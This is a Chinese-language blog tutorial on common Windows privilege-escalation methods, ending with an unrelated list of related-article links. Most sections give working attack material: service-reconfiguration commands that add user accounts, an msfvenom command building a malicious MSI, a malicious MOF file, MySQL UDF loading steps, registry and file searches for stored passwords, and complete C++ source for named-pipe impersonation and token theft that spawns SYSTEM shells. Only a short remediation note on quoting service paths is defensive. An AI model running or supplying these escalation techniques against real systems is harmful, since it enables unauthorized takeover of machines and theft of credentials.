常见的Windows提权方法

目录

1、无引号提权路径(Trusted Service Paths)

2、易受到攻击的服务(Vulnerable Services)

3、AlwaysInstallElevated(始终安装高架)

4、信息泄露

5、基于资源的域约束性委派利用

6、POTATO家族

7、MySQL下的提权技术

MOF提权

UDF提权

启动项提权

8、命令管道提权

9、令牌窃取

10、常见Windows的提权CVE


1、无引号提权路径(Trusted Service Paths)

原理:利用服务启动时检索程序,程序末尾有空格且没有引号闭合,会以一定方式检索下面的程序,从而可以利用在检索下面目录中加入恶意程序达到提权目的。——被动等待(反弹shell)

提权步骤:

1、用命令搜索无引号的服务路径:

vmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

2、自己分组:whoami /all

3、查看无引号路径权限:icacls 【路径】

4、用工具(msf,cs等等)生成反弹shell程序上传到对应路径下

**注意:如果程序放在此路径下长时间不与SCM(service controller Manager)通信会程序会被终止,所以在拿到权限后应该进行进程迁移

5、进程迁移方法:使用msf;在meterpreter中用ps查看进程号然后migrate PID

防御:

进入注册表修改窗口。在HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的的服务,修改ImagePath,把路径前后加上引号。

2、易受到攻击的服务(Vulnerable Services)

易受到攻击的服务有两种:一是替换二进制服务文件;二是修改服务属性(需要用到accesschk.exe工具)

替换二进制文件原理:

  • 对存放服务二进制文件的目录有修改权,将恶意的二进制程序替换原有的二进制文件。

替换二进制文件方法:

  • 和Trusted Service Paths差不多

修改服务属性原理:

  • 修改BINARY_PATH_NAME属性,通过设置它的值为系统命令,重启服务时系统命令会被执行

修改服务属性条件:

需要以下一种权限才能修改:

  • SERVICE_ALL_ACCESS
  • SERVICE_CHANGE_CONFIG
  • WRITE_DAC
  • WRITE_OWNER
  • GENERIC_WRITE
  • GENERIC_ALL

工具accesschk.exe:

利用:

对Spooler服务有service_all_access权限,我们就可以这样做。通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

输入命令:

sc config spooler binPath= "net user emxiai 12345 /add" #执行恶意命令
net user #查看用户

3、AlwaysInstallElevated(始终安装高架)

如果Windows启用注册表项:

  • [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
  • [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即达到提权目的。

同时注意,这个注册表项不一定总是存在的。可以通过reg query来验证这两条注册表项的情况:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

若均为1,我们就可以通过msfvenom生成恶意msi来提权,执行获得一个管理员账户:

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

4、信息泄露

Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着一定信息泄露,他们通常存在于以下路径:

  • C:\Windows\Panther\
  • C:\Windows\Panther\Unattend\
  • C:\Windows\System32\
  • C:\Windows\System32\sysprep\

找到后,找到 Unattend.xml 文件中的标签。就有可能找到用户的加密后的密码。

如下:

UEBzc3dvcmQxMjMhUGFzc3dvcmQ= //PASSWORD

false</PlainText></p> <p></Password></p> <p><Description>Local Administrator</Description></p> <p><DisplayName>Administrator</DisplayName></p> <p><Group>Administrators</Group></p> <p><Name>Administrator</Name></p> <p></LocalAccount></p> <p></LocalAccounts></p> <p></UserAccounts></p> <p>一些查询敏感文件的命令:</p> <pre><code>C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\* reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s</code></pre> <blockquote> <h2 id="5%E3%80%81%E5%9F%BA%E4%BA%8E%E8%B5%84%E6%BA%90%E7%9A%84%E5%9F%9F%E7%BA%A6%E6%9D%9F%E6%80%A7%E5%A7%94%E6%B4%BE%E5%88%A9%E7%94%A8">5、基于资源的域约束性委派利用</h2> </blockquote> <p>原理</p> <p>1.S4U2SELF协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启使用任何协议认证的约束性委派)时被调用,但是返回的ST是不可被转发的。</p> <p>2.基于资源的约束性委派主机 在被另一台主机委派访问时,在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。</p> <p>3.每个普通域用户默认可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ),每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN</p> <p>攻击流程</p> <p>假设开启基于资源的约束性委派机器为A</p> <p>1.首先要有一个对当前计算机有写权限的账户,才能对A设置可以 被 委派访问的服务账户。</p> <p>2.利用当前账户创建一个机器账户,并配置好机器账户到A的 基于资源的约束性委派</p> <p>3.因为机器账户是我们创建的,我们知道他的密码账户,可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY,在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。</p> <p>4.用ST2访问A的CIFS服务,权限获得。</p> <blockquote> <h2 id="6%E3%80%81POTATO%E5%AE%B6%E6%97%8F">6、POTATO家族</h2> </blockquote> <p>热土豆提权(hot potato)。</p> <p>提权步骤流程:</p> <ul> <li>1、本地NBNS服务欺骗</li> <li>2、WPAD劫持</li> <li>3、HTTP->SMB 的 NTLM relay</li> </ul> <p>本地NBNS服务欺骗</p> <p>Windows域名解析:本地host文件->dns查询->NBNS或者LLMNR查询;在不是管理员的情况下,我们能事先知道被欺骗主机需要的访问的主机IP,就可以伪造一个NBNS查询服务,让靶机访问,这样就能获取到信息就能达到目地,同时NBNS服务有个特征码,请求包和回应包的内容一致,可以根据发送65535个包进行爆破</p> <p>WPAD劫持</p> <p>当NBNS欺骗后就能可以劫持到域名,把自己伪造称WPAD并返回自动义的PAC文件。</p> <p>RELAY</p> <p>现在SMB->SMB的relay很少用到,微软禁用同协议的NTLM认证 ,成功率很低。但HTTP->SMB的relay还有。HOT POTATO就是利用它。</p> <p>我们可以把主机发出的HTTP请求重定向到我们自定义的网页Web_A,而网页Web_A需要NTLM认证,可以进行HTTP->SMB的relay。当HTTP请求来自于高权限的账户时,例如是来自windows 更新服务的请求,命令就会以”NT AUTHORITY\SYSTEM”权限运行。</p> <p>HOT POTATO 根据Windows版本的不同,需要等待高权限用户NTLM认证来到的时间也不同。一般来说,WIN7是瞬间可以提权,但是Windows Server 2012 R2,Windows Server 2012,Windows 8.1,Windows 8有一个自动更新机制,会每天下载证书信任列表(CTLs)etc。</p> <blockquote> <h2 id="7%E3%80%81MySQL%E4%B8%8B%E7%9A%84%E6%8F%90%E6%9D%83%E6%8A%80%E6%9C%AF">7、MySQL下的提权技术</h2> </blockquote> <h3 id="MOF%E6%8F%90%E6%9D%83">MOF提权</h3> <p>原理:</p> <ul> <li>利用nullevt.mof文件都会在一个特定时间间隔内执行一次,向此文件中添加cmd命令自动执行。</li> </ul> <p>条件:</p> <ul> <li>能够进入数据库进行操作,且MySQL数据库的权限要尽可能的高才有更有利i。同时secure-file-priv要为空(MySQL5.6.34以后的版本都为空)。</li> </ul> <p>伪造的MOF文件:</p> <pre><code>#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; //修改此处 }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };</code></pre> <p>修改上面的cmd部分可以实现以管理员的身份执行各种命令。</p> <h3 id="UDF%E6%8F%90%E6%9D%83">UDF提权</h3> <p>原理:</p> <ul> <li>UDF (user defined function),即用户自定义函数。自定义函数在Windows下是以DLL文件存在于MYSQL的插件文件夹里面的(linux是以os形式)。我们可以自定义一个恶意dll,里面存放着可以执行系统命令的函数。然后交给mysql以数据库权限执行。</li> </ul> <p>条件:</p> <ul> <li>能操作数据库,且数据库权限必须很高(用这个方法得到的权限就是数据库的权限)</li> <li>当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。</li> <li>当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录(lib\plugin目录默认不存在,需自行创建)。</li> </ul> <p>提权步骤:</p> <p>获取dll文件:</p> <ol> <li>sqlmap和msf都有。sqlmap下sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 就是这个dll文件的编码版本。使用sqlmap下的sqlmap/extra/cloak/cloak.py对其进行解码获得dll文件。</li> <li>python ./cloak.py -d -i ./lib_mysqludf_sys.dll_ #获得dll文件</li> <li>把dll文件放入mysql的插件文件夹,命名为udf.dll。插件文件夹可以通过命令:show variables like "%plugin%"; (/lib/plugin文件夹需要自己创建)</li> <li>把dll放入插件文件夹中:select load_file(‘udf.dll’) into dumpfile “plugin的路径”;</li> <li>提权:create funtion sys_eval returns string soname "udf.dll"; select sys_eval('cmd');</li> </ol> <h3 id="%E5%90%AF%E5%8A%A8%E9%A1%B9%E6%8F%90%E6%9D%83">启动项提权</h3> <p>原理:通过MySQL的高权限,在windows开机启动项的文件夹下放入恶意的vbs或者bat脚本,等待计算机重启,可以使用一些exp让计算机蓝屏。</p> <p>启动项的常见路径:</p> <ul> <li>C:\Users\ASUS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</li> <li>C:\Documents and Settings\All Users\「开始」菜单\程序\启动</li> <li>C:\Users\ASUS\AppData\Roaming\Microsoft\Windows\「开始」菜单\程序\启动</li> </ul> <blockquote> <h2 id="8%E3%80%81%E5%91%BD%E4%BB%A4%E7%AE%A1%E9%81%93%E6%8F%90%E6%9D%83">8、命令管道提权</h2> </blockquote> <p>条件:</p> <ul> <li>Administrator用户才那个提权(提权到system权限),一般用户不能提权到admin用户,因为一般用户没有命令管道 SeImpersonatePrivilege,复制令牌时候会出席那错误</li> </ul> <p>提权方式:</p> <ul> <li>令牌模仿(token impoersonation)</li> </ul> <p>提权过程:</p> <p>该方法技术细节为:以管理员权限创建一个命名管道,再通过创建SYSTEM权限服务,让服务连上命名管道,随后我们通过模拟客户端,获得SYSTEM权限的令牌,随后将其复制,再用复制后的令牌创建新进程(如CMD),新进程的权限即SYSTEM权限。</p> <p>首先是被创建的服务的实现代码,该服务启动后会不断向服务器命名管道建立链接</p> <p>生成好后,是Service.exe</p> <p>代码:</p> <pre><code>#include<Windows.h> #include<iostream> SERVICE_STATUS m_ServiceStatus; SERVICE_STATUS_HANDLE m_ServiceStatusHandle; BOOL bRunning; void WINAPI ServiceMain(DWORD argc, LPTSTR* argv); void WINAPI HandlerFunc(DWORD code); int main() { WCHAR Servicename[] = L"ServiceA"; SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} }; StartServiceCtrlDispatcher(Table); } void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) { m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; m_ServiceStatus.dwWin32ExitCode = 0; m_ServiceStatus.dwServiceSpecificExitCode = 0; m_ServiceStatus.dwCheckPoint = 0; m_ServiceStatus.dwWaitHint = 0; m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc); m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; m_ServiceStatus.dwCheckPoint = 0; m_ServiceStatus.dwWaitHint = 0; SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus); bRunning = true; while (bRunning) { LPCWSTR PipeName = L"\\\\.\\pipe\\testpipe"; HANDLE PipeHandle=NULL; BOOL PipeInstance; WCHAR message[512] = { 0 }; DWORD bytesWritten = 0; BOOL Flag = true; wchar_t message2[] = L"HELL"; DWORD messageLength = lstrlen(message2) * 2; do { PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); } while (PipeHandle == INVALID_HANDLE_VALUE); WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL); Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL); std::cout << "Message:" << message << std::endl; } } void WINAPI HandlerFunc(DWORD code) { switch (code) { case SERVICE_CONTROL_PAUSE: m_ServiceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_STOP: m_ServiceStatus.dwWin32ExitCode = 0; m_ServiceStatus.dwCurrentState = SERVICE_STOPPED; m_ServiceStatus.dwCheckPoint = 0; m_ServiceStatus.dwWaitHint = 0; SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus); bRunning = false; break; case SERVICE_CONTROL_INTERROGATE: break; } } </code></pre> <p> ##下面是主体,命名管道服务器。生成后是Server.exe</p> <pre><code> #include<Windows.h> #include<iostream> int main() { LPCWSTR pipeName = L"\\\\.\\pipe\\testpipe"; LPVOID pipeBuffer = NULL; HANDLE serverPipe; DWORD readBytes = 0; DWORD readBuffer = 0; int err = 0; BOOL isPipeConnected; BOOL isPipeOpen; wchar_t message[] = L"HELL"; DWORD messageLenght = lstrlen(message) * 2; DWORD bytesWritten = 0; WCHAR message2[512] = { 0 }; //Open a Named Pipe,Wait for a connection std::wcout << "Creating named pipe " << pipeName << std::endl; serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL); //Create a service of system to connect to our NamedPipe. char servicename[] = "Service.exe"; char servicepath[_MAX_PATH]; SERVICE_STATUS status; GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath)); SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if (GetLastError() == 0) { } else { std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl; } SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, servicepath, NULL, NULL, NULL, NULL, NULL); if (!scService) { if (GetLastError() == 1073) { std::cout << "The Service has been exsisted" << std::endl; } else { std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl; } } SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS); if (StartService(scServiceA, 0, NULL)) { std::cout<<"service Start success"<<std::endl; } else { if (GetLastError() == 1056) { std::cout << "service is running,don't need to start again" << std::endl; } } //Connect ! isPipeConnected = ConnectNamedPipe(serverPipe, NULL); if (isPipeConnected) { std::wcout << "Incoming connection to " << pipeName << std::endl; ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL); std::cout << message2; } else { std::cout << "Does not connected Error: "<<GetLastError() << std::endl; } std::wcout << "Sending message: " << message << std::endl; WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL); //Toekn Impersonation std::wcout << "Impersonating the client..." << std::endl; if (!ImpersonateNamedPipeClient(serverPipe)) { std::cout<<"ImpersonateNamedPipeClient ERROR: "<<GetLastError()<<std::endl; } else { std::cout << "ImpersonateNamedPipeClient success" << std::endl; } STARTUPINFOA si; PROCESS_INFORMATION pi = {}; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); HANDLE token; if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) { std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl; } CHAR command1[] = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"; WCHAR command2[] = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"; HANDLE Token; if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) { std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl; } else { std::cout << "Impersonate completed" << std::endl; } if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl; if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl; } else { std::cout << "CreateProcessWithTokenW success" << std::endl; } } else { std::cout << "CreateProcessWithTokenW success" << std::endl; } while(1){} }</code></pre> <p> </p> <p>我们生成了Service.exe,然后把他移到Server.exe同级目录,以管理员权限运行Server.exe,即可达到admin -> system的提权。</p> <blockquote> <h2 id="9%E3%80%81%E4%BB%A4%E7%89%8C%E7%AA%83%E5%8F%96">9、令牌窃取</h2> </blockquote> <p>原理:</p> <p>system->本机上其他用户(包括域用户)(只要本机有system权限,域管在本机上创建进程就直接能拿到域管权限)或者admin获取debug权限后去获取system权限(注意:只有owner为administrator的system进程才能被利用,比如lsass,dllhost)</p> <p>技术细节:通过寻找高权限开启的进程,再复制其令牌用以创建新进程,即可达到提权目的</p> <p>脚本:</p> <pre><code>#include <iostream> #include <Windows.h> //Only administrator can get debug priv BOOL GetDebugPriv() { HANDLE Token; TOKEN_PRIVILEGES tp; LUID Luid; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) { std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl; return false; } tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) { std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl; return false; } tp.Privileges[0].Luid = Luid; if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){ std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl; return false; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { return false; } else { return true; } } int main(int argc, char* argv[]) { HANDLE t_process; HANDLE token = NULL; HANDLE token_bak = NULL; DWORD process_id; sscanf_s(argv[1], "%ul", &process_id); WCHAR command[] = L"C:\\Windows\\System32\\cmd.exe"; STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); std::cout << argv[1] << std::endl; std::cout << "Openning process PID:" << process_id << std::endl; if (GetDebugPriv()== TRUE) { std::cout << "Got the debug priv" << std::endl; } else { std::cout << "GetDebugPriv ERROR" << std::endl; } system("whoami /priv"); t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id); if (!t_process) { std::cout << "OpenProcess ERROR" << GetLastError() << std::endl; } if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) { std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl; } if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) { std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl; } if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) { std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl; } return 0; }</code></pre> <blockquote> <h2 id="10%E3%80%81%E5%B8%B8%E8%A7%81Windows%E7%9A%84%E6%8F%90%E6%9D%83CVE">10、常见Windows的提权CVE</h2> </blockquote> <p>链接:https://github.com/SecWiki/windows-kernel-exploits</p> <p></p> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1527929279260684288"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(windows,渗透测试,mysql)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1834846431748386816.htm" title="【深度学习】【OnnxRuntime】【Python】模型转化、环境搭建以及模型部署的详细教程" target="_blank">【深度学习】【OnnxRuntime】【Python】模型转化、环境搭建以及模型部署的详细教程</a> <span class="text-muted">牙牙要健康</span> <a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/onnx/1.htm">onnx</a><a class="tag" taget="_blank" href="/search/onnxruntime/1.htm">onnxruntime</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a> <div>【深度学习】【OnnxRuntime】【Python】模型转化、环境搭建以及模型部署的详细教程提示:博主取舍了很多大佬的博文并亲测有效,分享笔记邀大家共同学习讨论文章目录【深度学习】【OnnxRuntime】【Python】模型转化、环境搭建以及模型部署的详细教程前言模型转换--pytorch转onnxWindows平台搭建依赖环境onnxruntime调用onnx模型ONNXRuntime推理核</div> </li> <li><a href="/article/1834837857211084800.htm" title="查看当前计算机CPU架构" target="_blank">查看当前计算机CPU架构</a> <span class="text-muted">raoxiaoya</span> <a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a> <div>在安装软件的时候,windows上会有32bit,64bit的区别,但是Linux系统下则还需要知道CPU架构,比如amd64,i386,arm64,x86_64,aarch64等等。1、cat/proc/versionLinuxversion3.10.0-1127.10.1.el7.x86_64(mockbuild@kbuilder.bsys.centos.org)(gccversion4.8.</div> </li> <li><a href="/article/1834834957567094784.htm" title="解决nodejs mysql Error: Connection lost The server closed the connection" target="_blank">解决nodejs mysql Error: Connection lost The server closed the connection</a> <span class="text-muted">echozzi</span> <a class="tag" taget="_blank" href="/search/node/1.htm">node</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>Node连接MySql,会出现几分钟无动作则自动关闭连接,导致Node服务器Down掉。报错信息:解决方法:将sql文件修改为连接池的写法,查询语句也是。参考链接:https://www.npmjs.com/package/mysql2具体实现:原连接写法(db.js):写法没错,但因为数据库无操作断开机制所以还是有问题。看了其他的博客,尝试做了异常处理,还是会出现报错。constmysql=re</div> </li> <li><a href="/article/1834831172035768320.htm" title="[Windows] MinGW 与 MSYS2" target="_blank">[Windows] MinGW 与 MSYS2</a> <span class="text-muted">ERIC-ZI</span> <a class="tag" taget="_blank" href="/search/Windows/1.htm">Windows</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a> <div>一、MinGW(MinimalistGNUforWindows)MinGW(MinimalistGNUforWindows)是一个专为Windows系统设计的工具集,旨在为Windows开发者提供一个轻量级且高效的GNU工具链。该工具集的核心是GNU编译器集合(GCC),其中包括了支持多种编程语言的编译器,如C、C++和Ada。MinGW的主要目标是让开发者能够在Windows系统上直接编译和运行</div> </li> <li><a href="/article/1834831170018308096.htm" title="[INSTALL] MSYS2 -- Windows下的类Linux环境" target="_blank">[INSTALL] MSYS2 -- Windows下的类Linux环境</a> <span class="text-muted">ERIC-ZI</span> <a class="tag" taget="_blank" href="/search/%E5%B7%A5%E5%85%B7%E7%B1%BB/1.htm">工具类</a><a class="tag" taget="_blank" href="/search/Windows/1.htm">Windows</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>一、安装1.从https://www.msys2.org/下载安装msys2也可以从镜像:http://mirrors.aliyun.com/msys2/distrib/x86_64/下载最新的安装包msys2-x86_64-20230718.exe2.更新下载源为阿里云sed-i"s#https\?://mirror.msys2.org/#http://mirrors.aliyun.com/ms</div> </li> <li><a href="/article/1834827769079492608.htm" title="Spring6学习笔记4:事务" target="_blank">Spring6学习笔记4:事务</a> <span class="text-muted">·云扬·</span> <a class="tag" taget="_blank" href="/search/SSM/1.htm">SSM</a><a class="tag" taget="_blank" href="/search/Java/1.htm">Java</a><a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/Spring/1.htm">Spring</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a> <div>1JdbcTemplate1.1简介Spring框架对JDBC进行封装,使用JdbcTemplate方便实现对数据库操作准备工作①搭建子模块搭建子模块:spring-jdbc-tx②加入依赖org.springframeworkspring-jdbc6.0.2mysqlmysql-connector-java8.0.30com.alibabadruid1.2.15③创建jdbc.propertie</div> </li> <li><a href="/article/1834818436371410944.htm" title="Python 安装 Selenium 报错解决方案:全方位排错指南" target="_blank">Python 安装 Selenium 报错解决方案:全方位排错指南</a> <span class="text-muted">小柒笔记</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/selenium/1.htm">selenium</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>引言在尝试使用pip安装Selenium库时,您可能会遇到中断报错,这通常是由于多种原因造成的,如网络问题、权限问题或依赖项缺失等。本文将指导您如何解决这一常见问题。一、检查网络连接首先,确保您的网络连接稳定。pip安装过程中需要从互联网下载包,因此网络不稳定可能导致安装失败。二、使用管理员权限运行在Windows系统中,尝试使用管理员权限运行命令提示符或PowerShell。右键点击命令提示符或</div> </li> <li><a href="/article/1834816166367948800.htm" title="使用vllIm部署大语言模型" target="_blank">使用vllIm部署大语言模型</a> <span class="text-muted">添砖JAVA的小墨</span> <a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a> <div>使用vllm部署大语言模型一般需要以下步骤:一、准备工作1.系统要求-操作系统:常见的Linux发行版(如Ubuntu、CentOS)或Windows(通过WSL)。-GPU支持:NVIDIAGPU并安装了适当的驱动程序。-足够的内存和存储空间。2.安装依赖-Python3.8及以上版本。-CUDA工具包(根据GPU型号选择合适的版本)。二、安装vllm1.创建虚拟环境(推荐)-使用Conda:c</div> </li> <li><a href="/article/1834814025607770112.htm" title="Cocos2d、Cocos2dx、Cocos Creator、Cocos Studio的区别" target="_blank">Cocos2d、Cocos2dx、Cocos Creator、Cocos Studio的区别</a> <span class="text-muted">Thomas游戏圈</span> <div>一、Cocos2d和Cocos2dx的区别【开发语言】:Cocos2d是Object-C写的,Cocos2dx是C++写的,支持使用C++、Lua或Java进行开发。【运行平台】:Cocos2d只能在IOS下运行,Cocos2dx是跨平台的,适配iOS、Android、HTML5、Windows和Mac系统,功能侧重于原生移动平台。点击链接加入群聊【Unity/Cocos交流群】【国籍】:Coco</div> </li> <li><a href="/article/1834812514001580032.htm" title="MySQL基于GTID同步模式搭建主从复制" target="_blank">MySQL基于GTID同步模式搭建主从复制</a> <span class="text-muted">迷茫运维路</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>系列文章目录rpmbuild构建mysql5.7.42版本的rpm包文章目录系列文章目录一、mysql-5.7.42RPM包构建二、同步模式分类介绍1.异步同步模式2.半同步模式2.1.实现半同步操作流程2.2.半同步问题总结2.3.半同步一致性2.4.异步与半同步对比3.GTID同步三、GTID同步介绍1.gtid介绍2.gtid组成3.gtid工作原理4.gtid优缺点四、搭建主从复制1.两台</div> </li> <li><a href="/article/1834808930572791808.htm" title="Hadoop 